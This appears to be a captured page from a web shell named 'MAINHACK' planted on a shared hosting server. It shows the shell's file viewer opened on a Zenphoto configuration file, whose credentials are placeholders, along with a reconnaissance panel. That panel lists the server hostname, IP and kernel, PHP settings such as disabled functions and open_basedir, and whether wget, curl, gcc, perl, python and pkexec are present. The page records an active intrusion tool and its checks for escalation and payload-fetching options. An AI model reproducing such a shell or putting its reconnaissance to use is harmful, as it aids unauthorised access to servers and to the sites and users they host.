[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: zenphoto.cfg.php
File is not writable. Editing disabled.
<?php global $_zp_conf_vars; $conf = array(); /** Do not edit above this line. **/ /**********************************/ /*////////// zenPHOTO Configuration Variables /////////////////////////////// For most installations Setup will copy this source and make the necessary changes to it. Unless this fails you most likely have no need even to read this file. If for some reason setup.php is not able to edit the configuration file and you cannot fix the file/folder permissions so that it can then you may have copy the source file to the zp-data folder and make changes here manually. Advanced installations may wish to modify the album folder definitions below. Also on some servers zenphoto has problems correctly determining the WEB path and SERVER path. For these cases you will need to implement the path overrides below. ///////////////////////////////////////////////////////////////////////////////*/ //////////////////////////////////////////////////////////////////////////////// // Database Information //////////////////////////////////////////////////////////////////////////////// $conf['db_software'] = "mysqli"; /** for historical reasons these fields reference mysql even though the database ** ** might be a different software **/ $conf['mysql_user'] = "[[softdbuser]]"; $conf['mysql_pass'] = "[[softdbpass]]"; $conf['mysql_host'] = "[[softdbhost]]"; $conf['mysql_database'] = "[[softdb]]"; $conf['mysql_prefix'] = "[[dbprefix]]"; $conf['mysql_port'] = "3306"; $conf['mysql_socket'] = ""; // If you are having problems with displaying some characters you may have to change // the following: $conf['UTF-8'] = true; //////////////////////////////////////////////////////////////////////////////// // Required options //////////////////////////////////////////////////////////////////////////////// // location of album folder. // 'album_folder' is the name of the folder for the zenphoto albums. // 'album_folder_class' determines how to interpret 'album_folder': // 'std' -- the folder must be a simple name. It resides in the root // of the zenphoto installation. // 'in_webpath' -- the folder must be the full path of the album folder from // the WEB root of the zenphoto installation. The WEB root of // your installation is the folder where your browser looks // if the link is just your domain (no folders). // 'external' -- the folder must be a full server path to the album folder. // Images within an external folder are not visible to web // browsers, so certain features such as flash players cannot // display them $conf['album_folder'] = '/albums/'; $conf['album_folder_class'] = 'std'; // Server Protocol $conf['server_protocol'] = "http"; // Change this to "https" if you use an HTTPS server (a "https://..." url) // Otherwise you should leave it at "http" // //////////////////////////////////////////////////////////////////////////////// // Zenphoto special URL rule definitions // // for further documentation see the functions-rewrite.php doc block // $conf['special_pages'] = array( 'page'=> array('define'=>'_PAGE_', 'rewrite'=>'page'), 'search'=> array('define'=>'_SEARCH_', 'rewrite'=>'_PAGE_/search'), 'archive'=> array('define'=>'_ARCHIVE_', 'rewrite'=>'_PAGE_/archive'), 'tags'=> array('define'=>'_TAGS_', 'rewrite'=>'_SEARCH_/tags'), 'gallery'=> array('define'=>'_GALLERY_INDEX_','rewrite'=>'_PAGE_/gallery') ); // //////////////////////////////////////////////////////////////////////////////// // Path Overrides //////////////////////////////////////////////////////////////////////////////// // Uncomment the following two lines ONLY IF YOU'RE HAVING PROBLEMS, // like "file not found" or "not readable" errors. // These allow you to override Zenphoto's detection of the correct paths // on your server, which might work better on some setups. //////////////////////////////////////////////////////////////////////////////// // define('WEBPATH', '/zenphoto'); // define('SERVERPATH', '/full/server/path/to/zenphoto'); //////////////////////////////////////////////////////////////////////////////// $conf['site_upgrade_state'] = "open"; /** Do not edit below this line. **/ /**********************************/ $_zp_conf_vars = $conf; unset($conf); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 700.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A